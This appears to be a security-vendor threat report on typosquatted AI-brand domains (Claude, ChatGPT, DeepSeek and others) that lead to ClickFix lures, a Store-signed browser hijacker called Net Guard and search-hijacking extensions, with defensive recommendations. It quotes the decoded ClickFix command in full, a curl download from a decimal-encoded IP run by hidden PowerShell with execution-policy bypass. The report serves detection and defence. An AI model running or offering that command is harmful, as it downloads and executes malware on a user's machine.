TypoPrompting: From AI Typos to Malware

TL;DR

We traced 186 lookalike domains across 27 AI brands, from Claude, ChatGPT and DeepSeek to Perplexity, Midjourney, ElevenLabs and Cursor. Ordinary typing mistakes on those names led to ClickFix lures, browser-hijacking malware and search-hijacking extensions.

One Claude typo, cloude[.]ai, ended at a ClickFix lure that runs a hidden PowerShell command fetched from a decimal-encoded IP address. The gate behind it serves 211 entry domains, including lookalikes of banks, insurers and enterprise software.

Other AI typos led to fake “Security Check” pages serving Net Guard, a Microsoft Store-signed app. The package matches the Store’s own hash, and inside it is browser-hijacking malware that changes the visitor’s existing browser and can run remotely supplied scripts through DevTools. A third route led to a search-hijacking browser extension, one of 30 built from the same kit. Thirteen have since been removed, and the 17 still listed show 972,000 declared users between them.

We call this delivery pattern TypoPrompting: AI-app lookalikes that turn an attempt to reach a familiar tool into a prompt to verify, install or run something else.

TypoPrompting starts before the first prompt

Someone opens Claude to review a diff, ChatGPT to draft a document or ElevenLabs to finish an audio asset. A developer jumps between Cursor, Copilot and Lovable. One key lands wrong, and the browser still loads a page.

That page belongs to someone else. ChatGPT draws the most lookalikes in our set, 25, from chatgpy[.]com to chtgpt[.]com. Claude follows with 18 and DeepSeek with 16, among them deepseel[.]com and deeepseek[.]com. Runway has 12, including runawayml[.]com, and Perplexity, Lovable and Character.ai have 11 each, with names such as perplixity[.]ai, lovabe[.]dev and charactor[.]ai.

The list reaches well past chat assistants: giemini[.]com, griok[.]com and mistrial[.]ai for Gemini, Grok and Mistral, notbooklm[.]com for NotebookLM and mauns[.]im for the agent platform Manus. Some lookalikes imitate the companies themselves, such as opnai[.]com and anthropiv[.]com, for people who type the company instead of the product.

Creative tools draw their own share. Image generators get midjourny[.]com and leonardi[.]ai. Video tools get poll[.]ai, klign[.]ai, hailou[.]ai, viggie[.]ai and hygen[.]ai. Audio tools get sunno[.]ai, speachma[.]com, vocie[.]ai and elevnlabs[.]io.

The mistakes are ordinary. In clsude[.]ai, the finger hits S instead of A. In cluade[.]ai, two letters swap places. In caude[.]ai, the L goes missing. Each one is a separate address, and none belongs to the AI service the visitor meant to reach.

The same slips repeat across every brand. chstgpt[.]com and lovsble[.]dev hit S instead of A, just like clsude[.]ai. charatcer[.]ai and deespeek[.]com swap two letters, midjourny[.]com and lovble[.]dev drop one, and deeepseek[.]com adds one. purplexity[.]ai spells Perplexity by ear.

What happens next depends on who is visiting. A parking page hands the browser to a traffic distribution system, which picks a destination from the visitor’s location, operating system and browser. One visitor sees a parked page; another gets an attack.

The technique isn’t new. Infoblox documented parked-domain traffic flowing through profiling and malicious redirect chains in December 2025. We followed the same plumbing around AI brands, all the way to a decoded ClickFix lure and a Store-distributed browser-hijacking malware package.

Old typos meet an expanding delivery market

Some of these names are years old. Shared publisher keys and affiliate IDs tie an 81-domain portfolio, including about 23 AI lookalikes such as perplixity[.]ai, perplexty[.]ai and vocie[.]ai, to a11[.]click. Its captured redirects rotate between Adsterra smartlinks and Monica or Pollo affiliate referrals. The same Pollo affiliate ID shows up behind the video-tool typos hailou[.]ai, hygen[.]ai and viggie[.]ai. Three Adsterra keys replace one another between March and October 2026, while the source domains stay the same.

Registration records and captured chains show how the portfolio and its delivery routes developed:

ClickFix turns a Claude typo into a Windows command

We followed a Windows scan of cloude[.]ai through its redirect chain. It ended on a fake Cloudflare verification page that turns a familiar human check into instructions to run a Windows command.

The parked page first hands the browser to xml.securetrackingnode[.]com/click, which forwards it to biomimicrydevtech[.]buzz. That traffic-distribution URL carries the campaign and publisher-feed IDs, the source typo in subid=cloude.ai, and the visitor’s country, operating system and browser, which the system uses to pick a compatible lure. The Windows route is flow_id=81. The bid comes straight from the URL’s bid parameter, which ranged from 0.0065 to 0.009 across three scans, consistent with a per-click price in dollars.

Next, the browser lands on a random subdomain of blockchainfuturedev[.]buzz, which questions the visitor before showing anything. It collects a FingerprintJS profile, makes the browser solve an MD5 proof-of-work challenge, looks up the public IP and posts the profile back to the server. Only selected visits get an answer.

That answer is obfuscated. The script Base64-decodes it, XORs it with a per-visit token, reverses it and evaluates the result: a fake human-verification page in English, German, French, Spanish, Italian or Portuguese.

The recovered command is:

cmd /c curl.exe -fsL --ssl-no-revoke --retry 8 --retry-connrefused --retry-delay 1 --connect-timeout 20 -o "%TEMP%\W901.ps1" 3112851459/985 && powershell -w h -nop -ep bypass -File "%TEMP%\W901.ps1"

The lure walks the visitor through opening the Windows Run dialog, pasting and pressing Enter. The command then uses curl.exe to save W901.ps1 to the temporary directory and launches it in PowerShell with a hidden window, no profile and an execution-policy bypass.

The address 3112851459 is 185.138.88[.]3 written as a single decimal number, so the URL contains no dotted IP address for a pattern-based filter to catch.

A second scan got the same command from a different gate subdomain. Other visits stopped earlier or never received a lure.

The Claude typo is one entrance to a much wider kit

Pivoting on the gate’s script hash turned up 550 matching scan records across 211 entry domains between April 2025 and November 2026, after excluding decoy redirects. They share three lure types and the same traffic-distribution URL structure.

The entry domains reach well beyond AI. Among them we found lookalikes of Scotiabank, Charles Schwab, Blue Cross Blue Shield, Verizon, ServiceNow and Microsoft Azure.

Each lure fits the visitor’s platform. Windows visitors are told to run the clipboard command. macOS visitors see a fake Terminal or security update that asks them to run a curl … | zsh pipeline. Others are offered an archive with instructions to extract it and run the executable inside. One macOS lure even plays a how-to video hosted on the Claude lookalike maccl0ude[.]com.

Other AI lookalikes have delivered malware directly. In October and November 2026, chatlgpt[.]com offered Installer_ChatGPT.zip, which contains an executable that filescan.io classifies as malicious and that 9 of 16 MetaDefender engines detect. In 2023, midj0urney[.]org served a Windows payload that AlienVault OTX attributes to the Aurora stealer, delivered by the Invalid Printer loader. In early 2025, deepsek[.]icu served an Android package that K7 Labs attributes to OctoV2.

A fake security check delivers Store-signed malware

A second route ends somewhere that looks far more trustworthy. Eight typos of Claude, DeepSeek, Copilot, ElevenLabs and Voice AI, among them ckaude[.]ai, deepceek[.]com, copiot[.]com, elevenlebs[.]io and vocie[.]ai, led through deezyj[.]com to fake “Security Check” pages, which tracked the source typo in a dkw parameter. The pages delivered Net Guard, an app sold as a Wi-Fi and DNS safety scanner.

The MSIX file from the funnel matches the hash of the Net Guard Microsoft Store listing, published by “Myflixly App,” and carries Microsoft’s Marketplace signature. Visitors were getting the real Store package, with a browser-control engine inside.

Net Guard is a Tauri application built on a module called buntai-sdk and driven by remote configuration. Its native code can:

• Change the default search engine while the user is idle, using UI Automation and synthetic input in Chrome’s settings, with a matching Firefox flow.
• Run remotely supplied JavaScript in the browser through DevTools Runtime.evaluate.
• Edit browser profiles and install extensions through Chrome’s profile files, PowerShell and the registry.

In the analyzed code, these features are all enabled by default. The welcome screens count down 30 seconds and then submit browser synchronization as enabled, without mentioning the browser changes. The app runs at startup with full trust and checks for a debugger and for enterprise browser management.

We analyzed the exact Net Guard 1.0.9.0, Privacy Keeper 1.0.10.0 and MyFlixly Browser 1.0.10.0 packages one by one. All three share the buntai-sdk code, and our static analysis classifies each as a malicious browser hijacker. The AI typos are only a slice of the installer funnel, which spans 191 related lander domains, about 45 product names and 1,437 source domains across AI tools, banks, insurers and telecoms.

The search engine can change without extension code

The third route starts at the Perplexity typo preplexity[.]ai. A related-search page passes the browser to quickflashtool[.]com, an installation page for a Chrome Web Store extension that replaces the default search engine.

The extension needs no executable JavaScript and no declared permissions to do its job. Its listing promises Bing search, but its manifest sets the default search provider to find.flashysearches[.]com, so every address-bar search passes through a third party first. At work, those searches can include internal hostnames, customer names and project details.

It is one of 30 extensions linked by a shared landing kit. They use the same minimal search-override template under separate developer accounts, and every listing we checked is unlisted, so the only way in is an installation page. We also saw extensions from the kit reached through similar redirect chains, including from typo domains.

Since the kit’s landing pages were first observed, 13 of the 30 extensions have been removed from the Chrome Web Store. The 17 still listed displayed 972,000 users in total on November 3. Socket documented the same search-hijacking technique at a larger scale in its Searchjacked research on October 29, 2026, and lists 22 of the 30 extensions among its malicious indicators.

‍

Keep the AI workflow, interrupt the delivery path

Every one of these routes starts in legitimate work: an engineer opening an assistant, an analyst checking an answer, a marketer reaching for a creative tool. The typo changes the destination, not the task. The places to intervene are the handoffs from that page to a command, an installer or an extension:

• Provide a direct route to approved AI services. Publish managed bookmarks or launcher entries. Monitor common lookalikes of sanctioned tools and block confirmed harmful destinations.
• Stop the browser-to-shell handoff. Correlate recent browsing with Run-dialog or Terminal activity, especially hidden PowerShell, execution-policy bypass flags and decimal IP addresses. Island’s ClickFix protection examines commands written to the clipboard and can warn or block according to administrator policy.
• Control installer provenance. Apply download and application policies to web-delivered MSIX files. Include the package family, publisher and hash in the decision; a Store signature alone does not describe browser behavior.
• Manage search and extensions centrally. Set the approved search provider and extension policy. Review search overrides even when an extension requests no permissions. Island’s extension controls govern which add-ons can run, while download and clipboard policies address the page-to-install and page-to-command transitions.
• Hunt across the full route. Check entry domains, redirectors, gates, installer hosts, package identifiers and extension IDs together. Connect the initial visit to the browser and endpoint changes that follow.

Appendix: Indicators of Compromise

Selected indicators from the delivery routes described above. Domains and IPs are defanged; each Copy button copies that group’s values.